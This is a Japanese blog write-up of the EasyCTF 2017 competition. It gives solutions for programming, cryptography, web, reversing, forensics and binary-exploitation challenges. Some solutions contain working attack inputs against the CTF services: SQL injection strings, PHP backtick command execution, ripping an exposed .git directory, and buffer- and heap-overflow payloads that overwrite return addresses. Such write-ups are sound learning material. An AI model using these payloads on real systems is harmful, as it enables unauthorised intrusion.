st98 の日記帳


[ctf] EasyCTF 2017 の write-up

Hirota Sora としてひとりで EasyCTF 2017 に参加しました。最終的に 45 問を解いて 5080 点を獲得し、順位は 28 位 (得点 1938 チーム中) でした。

以下、解いた問題の write-up です。

Programming

Hello, world! (10)

好きな言語で Hello, world! する問題でした。

print 'Hello, world!'

Things Add Up (15)

入力を全部足す問題でした。

n = 0
input()
for x in raw_input().split(' '):
  n += int(x)
print n

Fizz Buzz 1 (50)

FizzBuzz する問題でした。

n = input()
for x in range(1, n + 1):
  if x % 15 == 0:
    print 'FizzBuzz'
  elif x % 3 == 0:
    print 'Fizz'
  elif x % 5 == 0:
    print 'Buzz'
  else:
    print x

Fzz Buzz 2 (200)

i? 抜きで FizzBuzz する問題でした。print や for in が使えませんが、

という感じでなんとかしました。

def f(x, n):
  try:
    1 / (n - x)
    e = [x] * 16
    e[3] = e[6] = e[9] = e[12] = 'F' + chr(105) + 'zz'
    e[5] = e[10] = 'Buzz'
    e[0] = 'F' + chr(105) + 'zzBuzz'
    c(str(e[x % 15]) + '\n')
    f(x + 1, n)
  except:
    pass
a = globals()['__bu' + chr(105) + 'lt' + chr(105) + 'ns__']
b = getattr(a, '__' + chr(105) + 'mport__')('sys').stdout
c = getattr(b, 'wr' + chr(105) + 'te')
d = getattr(a, chr(105) + 'nput')
f(1, d() + 1)

Down a Notch (100)

まずは与えられたアセンブリを適当に実行できる形にします。

global main

extern printf
extern scanf

section .data
s: db "%d", 0
yes: db "yes", 0xa, 0
no: db "no", 0xa, 0

section .text
main:
  push rbp
  mov rbp, rsp
  sub rsp, 16

  mov rdi, s
  lea rax, [rbp-4]
  mov rsi, rax
  call scanf

  mov rdi, s
  lea rax, [rbp-8]
  mov rsi, rax
  call scanf

  mov rdi, [rbp-4]
  mov rsi, [rbp-8]
  call check

  cmp rax, 1
  je l1

  mov rdi, no
  call printf
  jmp end
l1:
  mov rdi, yes
  call printf
end:
  mov rax, 0
  leave
  ret

check:
  push rbp
  mov rbp, rsp

  cmp edi, 0;
  jl l2;
  cmp esi, 0;
  jl l2;
  cmp edi, 1000;
  jg l2;
  cmp esi, 1000;
  jg l2;

  mov [rbp-36], edi
  mov [rbp-40], esi
  mov eax, [rbp-36]
  xor eax, [rbp-40]
  mov [rbp-4], eax
  mov eax, [rbp-4]
  add eax, 98
  mov [rbp-8], eax
  mov eax, [rbp-8]
  not eax
  mov edx, eax
  mov eax, [rbp-40]
  add eax, edx
  mov [rbp-12], eax
  mov eax, [rbp-12]
  xor eax, [rbp-36]
  mov [rbp-16], eax
  mov eax, [rbp-40]
  imul eax, [rbp-4]
  cdq
  idiv dword [rbp-8]
  mov edx, eax
  mov eax, [rbp-36]
  lea ecx, [rdx+rax]
  mov edx, [rbp-12]
  mov eax, [rbp-16]
  add eax, edx
  xor eax, ecx
  mov [rbp-20], eax
  cmp [rbp-20], dword -814
  jne l2;
  mov rax, 1;
  jmp l3;
l2:
  mov rax, 0;
l3:
  pop rbp
  ret

nasm -f elf64 a.s && gcc a.o してからブルートフォースするとフラグが出てきました。

125:547

Cryptography

Flip My Letters (20)

a-z -> z-a という感じで置換するとフラグが出てきました。

i_dont_even_need_an_ascii_table

Clear and Concise Commentary on Caesar Cipher (20)

pdf の中にある RNFLPGS{LBHTBGVG} を rot13 するとフラグが出てきました。

yougotit

RSA 1 (50)

p, q, c, e が与えられるのであとは計算するとフラグが出てきました。

wh3n_y0u_h4ve_p&q_RSA_iz_ez_391a306f

Let Me Be Frank (75)

まず問題名からヴィジュネル暗号と推測しました。

easyctf -> pehgpxf になる鍵は lepinea になり、また You should -> Nwh whdjwh になる鍵は pineapple です。

pineapple を鍵に復号するとフラグが出てきました。

better_thank_the_french_for_this_one

RSA 2 (80)

n を factordb に投げると素因数分解できました。

l0w_n_ec80

Decode Me (100)

与えられた文字列を何度か base64 でデコードするとフラグが出てきました。

s = open('fb26f2cf8d244f2b1177fd9dc67e977b3d2028f3_encrypted_flag.txt').read()
while True:
  s = s.decode('base64')
  print s
what_1s_l0v3_bby_don7_hurt_m3

Hash On Hash (100)

32 文字の文字列が何行も続いています。適当にググってみると、どうやらどれも 1 文字を md5 でハッシュ化した文字列のようです。

あらかじめテーブルを作っておいて 1 行ずつ元に戻しましょう。

import hashlib
d = {}
for c in range(256):
  d[hashlib.md5(chr(c)).hexdigest()] = chr(c)
res = ''
s = open('0c4dc9d2255aebe12ffdb0b74b5b470708d54daf_hexstrings.txt').read()
for line in s.splitlines():
  res += d[line]
print res
1_h0p3_y0u_d1dn7_d0_7h47_by_h4nd

RSA 3 (135)

fermat 法で n が素因数分解できました。

tw0_v3ry_merrry_tw1n_pr1m35!!_417c0d

Security Through Obscurity (150)

平文を 2 文字ずつ暗号化しているようです。ブルートフォースしましょう。

p = 196732205348849427366498732223276547339
vlist = [186290890175539004453897585557650819247, 75402298316736094226532182518108134406, 125495142022496378270547998225256386407, 97774267687164931514953833940936099082, 101991197227908059637463567354647370660, 153833851791059142883915934225837717549, 57404874013093467650483424580890463792, 21385179362692238453302681296928238570, 73119997627509808412069264512026243174, 187307466063352771786747395191866088255, 99696708971915885525739992181010504930, 35400960589917132410614021764179554582, 165004028169785856134522269878963539096, 23921651712221317415895203722083962980, 101282552285744196401422074083408273639, 36527324251768098978171373433957274016]
ciphertext = [10804437392992369932709952388461430442, 176193785024128365464527424154073333243, 149270645998191619421663334736314262928, 84083279828403258970202482839973583723, 105542809657403162156368566034837560781, 170535468317794277192003839288646533914, 1709561989051017137832962458645802494, 30208132812353075834728747743616689590, 179552149608863037880916374596103803214, 146319871444551859531557724256502213689, 94266034977624098660397183255753485858, 59624105602644297614582310044425417646, 150207980679551836987813576795479579005, 47189940152625174480564945084004798024, 60923399917552243674613186036841652885, 56060552313063913798237738953734149992, 153365453785043472981157196787373992079, 97439800863356756323659264743487719966, 105572255903480949865247928773026019148, 47189940152625174480564945084004798024, 32547907449246015626932936731350157592, 97471053149217334376536988401195572824, 156999991149661497460742185971412527182, 97705058765750947378422286408948780428, 56123764944636237849915747435965967337, 180380146745295930385428990214293723238, 178014626944341285289827069179285260436, 99504741454750536629756505680249931430]

def decodeInt(i, primelist):
    pl = sorted(primelist)[::-1]
    out = ''
    for j in pl:
        if i%j == 0:
            out += '1'
        else:
            out += '0'
    return out

def bin2asc(b):
    return hex(int(b,2)).replace('0x','').decode('hex')

primelist = [2,3,5,7,11,13,17,19,23,29,31,37,43,47,53,59]
res = ''

for c in ciphertext:
  for x in range(0x10000):
    binarized = bin(x).replace('0b','').zfill(16)[::-1] #lsb first
    enc = 1
    for bit in range(len(binarized)):
      enc *= vlist[bit]**int(binarized[bit])
    enc = enc%p
    if enc == c:
      res += hex(x)[2:].decode('hex')
      print res
i_actu4lly_d0nt_know_th3_name_of_th15_crypt0sy5tem

Lost Seed (150)

realrand で /dev/urandom から 4 バイト読み込んで seed = x % 80、その後フラグを 1 文字ずつ seed = (seed * 0x127efb9 + 0x20491) & 0xff と xor して暗号化しているようです。

s = open('e0412877956c51cf1c180128552fefded29b2413_flag.out', 'rb').read()
for seed in range(0x100):
  res = ''
  for c in s:
    seed = (seed * 0x127efb9 + 0x20491) & 0xff
    res += chr(seed ^ ord(c))
  if 'easyctf' in res:
    print repr(res)
r3ndom_numb3rs_m3an_n0thing_wh3n_y0u_can_brute_force!

Genius (230)

https://hashkiller.co.uk/md5-decrypter.aspx に投げると、与えられたハッシュをすべて元に戻せました: OMG_it_took_like_LITerally_s0oO00_long_2_MAK3_md5_werrk_you_have_no_id34

OUR_3nCRYpti0n_is_N0T_br0k3n_Ur_brok3n_6c5a390d

Web

Cookie に flag=easyctf%7Byum_c00kies%21%21%21%7D とありました。

yum_c00kies!!!

TinyEval (100)

11 文字以下の任意の PHP コードを実行できるサービスでした。

echo`ls` で Dockerfile flag_pnvgx1Qco7gx0ApLCUhH index.php と表示されました。

echo`cat *` でフラグが表示されました。

Edge 1 (100)

http://edge1.web.easyctf.com/.git/ にアクセスしてみるといい感じでした。

kost/dvcs-ripper を使って rip-git.pl -v -u http://edge1.web.easyctf.com/.git/、あとは git log -p -5 | grep easyctf でフラグが出てきました。

w3_ev3n_u53_git

SQL Injection 1 (100)

username に admin";-- でフラグが出てきました。

a_prepared_statement_a_day_keeps_the_d0ctor_away!

SQL Injection 2 (150)

username に " and 0 union select 1, "leet1337", 3, 10000;-- でフラグが出てきました。

reUNI0Ns_are_alw4ys_s0_em0t1onal!

Edge 2 (200)

kost/dvcs-ripper を使って rip-git.pl -v -u http://edge1.web.easyctf.com/.git/、あとは git log -p -5 | grep easyctf でフラグが出てきました。

hiding_the_problem_doesn't_mean_it's_gone!

Web Tunnel (260)

import requests
import subprocess
s = 'KjZqZwwKROwxELfzz6fN.png'
while True:
  url = 'http://tunnel.web.easyctf.com/images/' + s
  open(s, 'wb').write(requests.get(url).content)
  s = subprocess.check_output(['zbarimg', s])[8:].strip().decode('ascii') + '.png'
  print(s)
w0w_y0u_reached_th3_3nd_0f_my_tunnel!!!!!

Miscellaneous

IRC (5)

IRC のチャンネルを見るだけでした。

irc_d0esn7_apist0rm_:)

A-maze-ing (30)

サンプルの jkliilillikjk を 4 回繰り返した jkliilillikjkjkliilillikjkjkliilillikjkjkliilillikjk を投げると通りました。

Reverse Engineering

Hexable (25)

strings でフラグが出てきました。

szFSH1QiJPjX7A

Phunky Python (30)

最初の 4132665052406848715 から ord('e') を引くだけでした。

4132665052406848614

Useless Python (50)

s = open('42552c587e13c09d2873cf20c4a2a558f60a3a46_useless.py', 'r').read()
print eval(eval(eval(s.decode('hex')[5:-1])[5:-1])[5:-1])
python_3x3c_exec_3xec_ex3c

Phunky Python II (115)

import operator
jkx = 0 # REDACTED
pork = ((12*jkx+44)/4)-(1234/617)*jkx-sum([1, 4, 7])
jkx *= pork
pp = filter(lambda g: not any(g % u == 0 for u in range(2, g)), range(2, 10000))
b = reduce(operator.mul, (pp[i] ** int(str(jkx)[i]) for i in range(len(str(jkx)))))
print b == 799868144785084405429528290862317372789176956257703254607748530044738670150825254065375572637573491697777226014160686998954803702593572034214202087469815848703763202014807823859926014360286153700309263567295715887609371188139662145402195456

というよく分からないコードが与えられます。読みやすくすると以下のようになりました。

jkx = 0 # REDACTED
jkx *= jkx - 1
pp = [2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47, 53, 59, 61, 67, 71, 73, 79, 83, 89, 97, 101, 103, 107, 109, 113, 127, 131, 137, 139, 149, 151, 157, 163, 167, 173, 179, 181]
b = 1
for x, y in zip(pp, str(jkx)):
  b *= x ** int(y)

factordb.com に投げましょう。

import re
s = '2^9 3^9 5^0 7^2 11^9 13^8 17^2 19^9 23^1 29^6 31^6 37^6 41^2 43^0 47^0 53^2 59^3 61^9 67^4 71^7 73^8 79^1 83^9 89^5 97^7 101^1 103^7 107^2 109^2 113^1 127^7 131^5 137^6'
print ''.join(re.findall(r'\d+\^(\d+)', s))

990298291666200239478195717221756 が出力されます。z3 に適当に投げるとフラグが出ました。

31469005253839853

Lucky Guess (200)

srand(time(0)) からの rand() を当てろという問題でした。rand を差し替えましょう。

int rand(void) {
  return 0;
}

これを gcc -shared -fPIC -o a.so a.c して LD_PRELOAD=./a.so ./dda33cdf9ed65c36aa1695c1bdb5b575be19ad11_guess でフラグが出てきました。

aaA_tOucH_0f_luccK_47ca4e

67k (400)

67000 個ぐらいのバイナリを解析する問題でした。バイナリはある程度パターンが決まっているので適当に自動化しましょう。

import struct
import zipfile

def uu(s):
  return struct.unpack('<I', s)[0]

def us(s):
  return struct.unpack('<i', s)[0]

res = ''
with zipfile.ZipFile('67k.zip', 'r') as zf:
  for k, n in enumerate(zf.namelist()):
    with zf.open(n) as f:
      s = f.read()

      if b"%d" in s[0x200:0x400] and b"%c" in s[0x200:0x400]:
        base = 0x400e00
      elif b"%d" in s[0x400:0x600] and b"%c" in s[0x400:0x600]:
        base = 0x401c00
      elif b"%d" in s[0x600:0x800] and b"%c" in s[0x600:0x800]:
        base = 0x402a00

      i = s.index(b'\x83\xc4\x08\xa1')+4
      x = uu(s[i:i+4]) - base

      eax = uu(s[x:x+4])
      i += 5

      ecx = uu(s[i:i+4])
      i += 5

      x = s[i:i+4]
      op = s[i+us(x)+4:i+us(x)+5]
      if op == b'1': # xor
        t = eax ^ ecx
      elif op == b'\x01': # add
        t = eax + ecx
      elif op == b')': # sub
        t = eax - ecx
      else:
        raise Exception('err')

      i = s.index(b'\x75\x1e\x8a\x0d') + 4
      x = uu(s[i:i+4]) - base
      cl = s[x]

      res += chr((t >> cl) & 0xff)

print(res)

出てきた文字列を JavaScript として実行するとフラグが出ました。

double_you_tee_eff?so_mAny_b1ns

Forensics

Mane Event (50)

strings でフラグが出てきました。

pride_in_african_engin33ring

scisnerof (70)

PNG が逆さまになっています。直しましょう。

s = open('6c0baad166c1256a29d469bae8a778ce5012ba77_elif', 'rb').read()
open('res.png', 'wb').write(bytes(reversed(s)))
r3v3r5ed_4ensics

Petty Difference (75)

diff を見るとフラグが出てきました。

res = ''
s = open('4b44b334ac0ff0a281597fb66c6f78bc8f5d537e_file1.txt', 'r').read()
t = open('d1de718973b070b1c12b78cef89d21ded505f9f0_file2.txt', 'r').read()
for c, d in zip(s, t):
  if c != d:
    res += c
print(''.join(reversed(res)))
th1s_m4y_b3_th3_d1ff3r3nc3_y0u_w3r3_l00k1ng_4

Flag Collection (80)

Thumbs.db があります。256_974f1259613588d2.jpg とかいう元のフォルダには存在しない画像ファイルがあったので QR コードとして読み込むとフラグが出てきました。

thumbs.db_c4n_b3_useful

Zooooooom (85)

$ binwalk d9040024afd9d38b73c72e30f722cf09e1093e3c_hekkerman.jpg

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             JPEG image data, JFIF standard 1.01
30            0x1E            TIFF image data, little-endian offset of first image directory: 8
212           0xD4            JPEG image data, JFIF standard 1.01
242           0xF2            TIFF image data, big-endian, offset of first image directory: 8
414           0x19E           JPEG image data, JFIF standard 1.01
444           0x1BC           TIFF image data, big-endian, offset of first image directory: 8
28428         0x6F0C          Copyright string: "Copyright International Color Consortium, 2009"

0x19e からの JPEG がフラグでした。

d33p_zo0m_HeKker_2c1ae5

QR 1 (100)

全部が反転された QR の画像…かと思いきや、反転されているのは四隅だけでした。

n0w_who-w0u1d_do_thAT_to_Th3ir_QR?

Ogrewatch (100)

strings で

0,0,Default,,0,0,0,,e\N
1,0,Default,,0,0,0,,a\N
2,0,Default,,0,0,0,,s\N
3,0,Default,,0,0,0,,y\N
4,0,Default,,0,0,0,,c\N
5,0,Default,,0,0,0,,t\N
6,0,Default,,0,0,0,,f\N
7,0,Default,,0,0,0,,{\N
8,0,Default,,0,0,0,,s\N
9,0,Default,,0,0,0,,u\N
10,0,Default,,0,0,0,,b\N
11,0,Default,,0,0,0,,s\N
12,0,Default,,0,0,0,,_\N
13,0,Default,,0,0,0,,r\N
14,0,Default,,0,0,0,,_\N
15,0,Default,,0,0,0,,b\N
16,0,Default,,0,0,0,,3\N
17,0,Default,,0,0,0,,t\N
18,0,Default,,0,0,0,,t\N
19,0,Default,,0,0,0,,3\N
20,0,Default,,0,0,0,,r\N
21,0,Default,,0,0,0,,_\N
22,0,Default,,0,0,0,,t\N
23,0,Default,,0,0,0,,h\N
24,0,Default,,0,0,0,,@\N
25,0,Default,,0,0,0,,n\N
26,0,Default,,0,0,0,,_\N
27,0,Default,,0,0,0,,d\N
28,0,Default,,0,0,0,,u\N
29,0,Default,,0,0,0,,b\N
30,0,Default,,0,0,0,,5\N
31,0,Default,,0,0,0,,}\N

のような文字列が出てきました。

subs_r_b3tt3r_th@n_dub5

My USB (150)

FTK Imager に投げると、NONAME [FAT12] の [root]/234-823412857.jpg にフラグがありました。

d3let3d_f1l3z_r_k00l

Finn (200)

$ binwalk 5c75281894bbb9c5a356eabd8646e132a063c054_finn.jpg

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             JPEG image data, JFIF standard 1.01
44350         0xAD3E          Zip archive data, at least v1.0 to extract, name: kylo/
44413         0xAD7D          Zip archive data, encrypted at least v2.0 to extract, compressed size: 3489072, uncompressed size: 3488525, name: kylo/kylo1.png
3533573       0x35EB05        Zip archive data, encrypted at least v2.0 to extract, compressed size: 3489495, uncompressed size: 3488948, name: kylo/kylo2.png
7023399       0x6B2B27        End of Zip archive, footer length: 22

0xad3e からの zip は暗号化されていますが、パスワードは fcrackzip -c 1 -l 4 a.zip2187 とわかりました。

出てきた 2 つの画像を stegsolve.jar で sub、QR コードとして読むと \x63\x68\x66\x63\x7e\x71\x73\x34\x76\x57\x72\x3c\x74\x73\x5c\x31\x75\x5d\x6b\x32\x34\x77\x59\x38\x4c\x7f と出てきました。

あとは適当にエスパーするとフラグが出てきました。

from PIL import Image

im1 = Image.open('kylo1.png')
im2 = Image.open('kylo2.png')
pix1 = im1.load()
pix2 = im2.load()

s = "\x63\x68\x66\x63\x7e\x71\x73\x34\x76\x57\x72\x3c\x74\x73\x5c\x31\x75\x5d\x6b\x32\x34\x77\x59\x38\x4c\x7f"
a = []
for x in range(26):
  r1, g1, b1 = pix1[x + 144, 533]
  r2, g2, b2 = pix2[x + 144, 533]
  a.append(b2 - b1)

print(''.join(chr(ord(c) ^ a[i]) for i, c in enumerate(s)))
st4r_w4rs_1s_b35t_:D

Binary Exploitation

Risky Business (100)

賭け事をするバイナリでした。srand() が呼ばれていないので勝ち負けは固定されています。

大体こんな感じです。

#include <stdio.h>
#include <stdlib.h>
int main(void) {
  int i;
  for (i = 0; i < 10; i++) {
    printf("%d\n", rand() % 5 == 0);
  }
  return 0;
}

あとは勝てるときには最大値を賭け、負けるときには最小値を賭けるだけです。

#include <stdio.h>
#include <stdlib.h>
int main(void) {
  int x = 0;
  while (x < 21) {
    if (rand() % 5 == 0) {
      puts("99999999");
      x++;
    } else {
      puts("1");
    }
  }
  return 0;
}
m4by3_w3_c0u1d_h4v3_d0n3_th47_b3t7er

Doubly Dangerous (110)

スタック BOF。

$ cd /problems/doubly_dangerous
$ perl -e 'print "A" x 64 . "\x00\x80\x34\x41"' | ./doubly_dangerous
bofs_and_floats_are_d0uble_tr0uble!

Simple Rop (120)

スタック BOF。

$ objdump -d /problems/simple-rop/simple-rop | grep print_flag           
0804851a <print_flag>:
$ cd /problems/simple-rop
$ perl -e 'print "A" x 76 . "\x1a\x85\x04\x08"' | simple-rop
r0p_7o_v1ct0ry

Heaps of Knowledge (420)

なんか適当にやっていると EIP が取れてしまいました。

AAAAAAAA
1
1
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
1
2
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
1
1
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
3

で EIP が 0x42424242 になります。あとは echo -en "AAAAAAAA\n1\n1\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n1\n2\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n1\n1\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xb0\x87\x04\x08\n3\n" | ./heaps_of_knowledge でフラグが出てきました。

4r3nT_u_hav1ng_h34pz_0f_Fun?
このエントリーをはてなブックマークに追加
st98.github.io / st98 の日記帳